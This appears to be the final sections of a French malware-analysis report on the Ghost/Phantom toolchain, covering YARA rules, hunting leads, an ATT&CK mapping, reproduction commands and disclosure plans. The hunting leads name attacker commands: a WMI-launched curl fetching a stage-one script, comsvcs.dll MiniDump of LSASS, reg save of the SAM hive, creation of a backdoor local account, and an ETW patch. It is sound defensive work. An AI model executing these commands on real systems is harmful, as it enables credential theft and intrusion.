Fichiers fournis : `ghost_phantom_toolchain.yar` (18 règles, dont une pour les 39 encrypteurs ELF et leur ESXi antérieur, une règle structurelle qui reconnaît les 16 builds RevSocks, et une règle structurelle pour le blob Donut déchiffré de `Ghost_OneDriveSync`, fondée sur l'égalité entre le déplacement du `CALL` initial et le champ de longueur de l'instance), `iocs.csv`, `stix_bundle.json`, `cluster_inventory.csv`. Les règles correspondent à 90 fichiers du lot sur 114 (17 des 18 règles, la dix-huitième visant le blob Donut déchiffré, hors lot ; plus le blob Donut et le PE extraits, que deux règles existantes détectent aussi). J'ai testé les règles en négatif sur environ 6 600 exécutables et bibliothèques Windows présents sur la machine d'analyse (.NET, SDK Android, JDK, Ghidra, paquets Python), environ 4 000 binaires Linux de `/usr/bin` et d'autres échantillons sans rapport conservés dans le répertoire de travail : aucune correspondance, hormis celle, attendue, d'une copie de `Ghost_loader` qui s'y trouve. Ce corpus est de composition limitée (pas de logiciels malveillants tiers ni de gros parc de binaires Go ou Rust signés) et ne remplace pas un test sur un corpus de production. Ne sont pas couverts (24 fichiers) : `Ghost_AetherPulse`, `Ghost_agent`, `Ghost_colorui5`, `Ghost_dloader`, `Ghost_ghost_loader`, `Ghost_ntlm_test`, `QuickLine` (hôte monofichier), les agents Python et `WUServiceHost`, les deux modèles Phantom, les exploits et neutralisations MinGW (`cve202562215`, `elevate`, `nightmare`, `pnloader`, `quickheal-killer`, `zloader`), `Phantom_nethost`, `Phantom_wp2shell` et l'agent Ligolo compressé par UPX.

Pistes de chasse :

- Processus `cmd.exe` dont le parent est `wmiprvse.exe` et dont la ligne de commande lance `curl.exe`, notamment après l'ouverture d'un document Word.
- Word qui crée un processus `cmd.exe` par WMI avec `curl.exe -sk -o %TEMP%\u.cmd http://<ip>:8000/scripts/stage1.cmd`.
- Requête HTTPS dont l'en-tête `Host` est `api.system-strategy.org` alors que la destination est une adresse IP, notamment `89.185.83.8`.
- Processus qui lit `ntdll.dll` sur le disque puis rend inscriptible le `.text` de son propre `ntdll`.
- Écriture de `48 33 C0 C3` en tête d'`EtwEventWrite`.
- Dépôt de `%TEMP%\msedge_update.exe` ou lancement de `explorer.exe`/`RuntimeBroker.exe` avec un fil distant.
- Chargement de `zam64.sys` ou ouverture de `\\.\ZemanaAntiMalware`.
- Dépôt ou chargement de `DBUtil_2_3.Sys`, ouverture de `\\.\DBUtil_2_3` (CVE-2021-21551, composant BYOVD de `Ghost_dump_ppl`).
- Requête HTTP sortante avec `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36` (60 octets exactement, sans le reste du champ Chrome) depuis un processus Go non signé.
- `rundll32 comsvcs.dll, MiniDump` vers `C:\Windows\Temp\d.dmp`.
- Binaire signé par un certificat auto-signé `Microsoft Corporation` ou `SysTool Software Ltd.`.
- Création de `INC-README.txt` et renommage massif en `.INC`.
- Tâche planifiée `RealtekAudioSvc` lançant `svc.py` (nom cité par l'article, non observé dans les échantillons), tâche planifiée `Microsoft\Windows\Maintenance\StorageSync`, fichier `%ProgramData%\Microsoft\Crypto\RSA\update.sct`, écriture sous `HKCU\Software\Classes\ms-settings\Shell\Open\command` ou détournement de la bibliothèque de types `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`.
- Fichiers `C:\Windows\Temp\s.dat`, `se.dat`, `sy.dat` (ruches enregistrées par `reg save`), `d.dmp` et `pn_done.txt`.
- Compte local `pnadmin` créé par `net user /add`, dossier `C:\Windows \System32` (avec une espace) et `C:\Uyap`.
- Processus `vmware-usbarbitrator` hors d'une installation VMware, qui se connecte à une adresse extérieure sur le port 443.
- Le motif `48 33 C0 C3` seul n'est pas une signature : il existe dans de nombreux binaires légitimes et ne caractérise le patch ETW qu'en contexte.

Le détail à destination des équipes de réponse est dans [`remediation.md`](writeups/inc-ghost-phantom-killchain/remediation.md).

### Cartographie MITRE ATT&CK

Techniques observées par décompilation ou émulation, au niveau capacité (pas d'identifiant de sous-technique quand plusieurs s'appliquent et n'ont pas été distinguées) :

| Technique | Identifiant | Composant |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | Modèle Word piégé |
| Command and Scripting Interpreter: PowerShell | T1059.001 | Cradle PowerShell, `stage2_inject_v2.ps1` |
| Windows Management Instrumentation | T1047 | Lancement de `curl.exe` par WMI |
| Obfuscated Files or Information | T1027 | Chaînes masquées (Ghost, Phantom, RevSocks v4), garble Go |
| Reflective Code Loading | T1620 | Détournement de module (`Ghost_OneDriveSync` dans `dbghelp.dll`), shellcode Donut |
| Process Injection | T1055 | Injecteurs RevSocks (`explorer.exe`, `RuntimeBroker.exe`, `wmiprvse.exe`) |
| Impair Defenses: Disable or Modify Tools | T1562.001 | Patch `AmsiScanBuffer`, `EtwEventWrite`, restauration de `ntdll` |
| Indicator Removal | T1070 | Suppression de `%TEMP%\msedge_update.exe` après exécution |
| Masquerading | T1036 | Faux certificats auto-signés « Microsoft Corporation », noms de processus système empruntés (`svchost.exe`, `RuntimeBroker.exe`, `msedge_update.exe`, `vmware-usbarbitrator`) |
| Subvert Trust Controls: Code Signing | T1553.002 | Certificats SysTool Software Ltd. et Microsoft factices |
| OS Credential Dumping: LSASS Memory | T1003.001 | `Ghost_dump_ppl`, `comsvcs.dll MiniDump`, pilote Zemana |
| Exploitation for Privilege Escalation | T1068 | `pnloader`/`nightmare.dll` (PrintNightmare, CVE-2021-1675), `Ghost_dump_ppl` (Dell DBUtil_2_3.sys, CVE-2021-21551, embarqué) |
| Impair Defenses via pilote vulnérable (BYOVD) | T1562.001 | `zloader` et `quickheal-killer2` (pilote Zemana `zam64.sys` pour arrêter les antivirus) |
| Abuse Elevation Control Mechanism: Bypass UAC | T1548.002 | `Ghost_uac_bypass`, `elevate` (objet COM `CMSTPLUA`) |
| OS Credential Dumping: Security Account Manager | T1003.002 | `reg save HKLM\SAM` et ruches SECURITY et SYSTEM (`zloader`, charge de l'exploit `CVE-2025-62215`) |
| Create Account: Local Account | T1136.001 | Compte `pnadmin` créé par `net user /add` |
| Scheduled Task/Job | T1053.005 | Tâche `Microsoft\Windows\Maintenance\StorageSync`, `SysToolUpdate` |
| Boot or Logon Autostart Execution: Registry Run Keys | T1547.001 | Clé `Run` des implants Ghost |
| Component Object Model Hijacking | T1546.015 | Détournement de `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` |
| Application Layer Protocol: Web Protocols | T1071.001 | C2 HTTPS Ghost, Phantom `mcp-agent`, API Telegram |
| Proxy: External Proxy | T1090.002 | Agents RevSocks (pivot SOCKS) |
| Encrypted Channel: Symmetric Cryptography | T1573.001 | ChaCha20 (RevSocks), AES (Meterpreter, cradle, Ghost) |
| Proxy: Domain Fronting | T1090.004 | En-tête `Host` détaché de la destination IP (Meterpreter), option de domain fronting de `rks3` |
| Archive Collected Data | T1560 | `restic`, client S3/Dropbox/MEGA (BackupConsole) |
| Automated Collection | T1119 | `BackupConsole` (recherche par mot-clé, parcours FTP) |
| Exfiltration Over C2 Channel | T1041 | Envoi HTTP de `Ghost_dump_ppl`, API Telegram des implants Ghost |
| Exfiltration Over Web Service: Cloud Storage | T1567.002 | `rks3` (S3, Dropbox, GCS, Azure, MEGA), `BackupAgent` vers Wasabi |
| Data Encrypted for Impact | T1486 | Encrypteurs INC, Lynx, Sinobi |
| Inhibit System Recovery | T1490 | Comportements usuels des encrypteurs INC (non détaillés ici) |

Cette cartographie couvre la capacité observée, pas la séquence d'implémentation : elle ne remplace pas une lecture du code pour un composant donné et n'est pas une liste exhaustive des sous-techniques.

## 16. Reproduire l'analyse

Environnement : Linux, Ghidra et pyghidra, pycryptodome, pefile, Unicorn, oletools, OpenSSL, YARA. Commandes dans [`runbook.md`](writeups/inc-ghost-phantom-killchain/runbook.md).

```bash
python3 tools/triage_cluster.py binaries/cluster osint/triage
python3 tools/decompile_all.py <echantillon> <sortie.txt>
python3 tools/emulate_string_decoder.py <echantillon> <VA_decodeur> "qw:<q0>,<q1>,<q2>:24"
python3 tools/extract_encoded_strings.py <echantillon> <sortie.txt> <fonction_principale> <decodeur> [<VA_contexte>]
python3 tools/emulate_v4_kdf.py .                                   # dérivation de clé RevSocks v4 contre hashlib
python3 tools/revsocks_codec.py selftest                            # codec du tunnel RevSocks
python3 tools/revsocks_codec.py decrypt --secret <secret> flux.bin  # déchiffre une session capturée
python3 tools/ghidra_api_callgraph.py <dll> <sortie.txt> <projet>   # chemins d'appel depuis les exports vers des API
yara -r ghost_phantom_toolchain.yar binaries/cluster
```

## 17. Divulgation responsable

Les signalements partent avec ce billet, pas après : les hébergeurs (Digi Cloud, NetCrafters, Aeza, Flyservers, FineISP), Cloudflare, les registrars, Telegram pour les deux bots et la conversation `8809711703`, GitHub pour le chemin `runneradmin`, Microsoft pour l'usage de sa marque, les éditeurs de modèles et la passerelle cités par l'article, SOCRadar et le CERT national. Le dossier préparé pour eux (ordre d'envoi, contacts d'abus officiels, courriers, liste de ce qu'il ne faut pas transmettre, résumé bilingue, manifeste d'empreintes) n'est pas publié. Seul l'export STIX 2.1 l'est ([`stix_bundle.json`](writeups/inc-ghost-phantom-killchain/stix_bundle.json)). Le signalement à Telegram est le plus pressé : les jetons des deux bots sont lisibles dans les rapports publics de Triage depuis le 2026-10-20.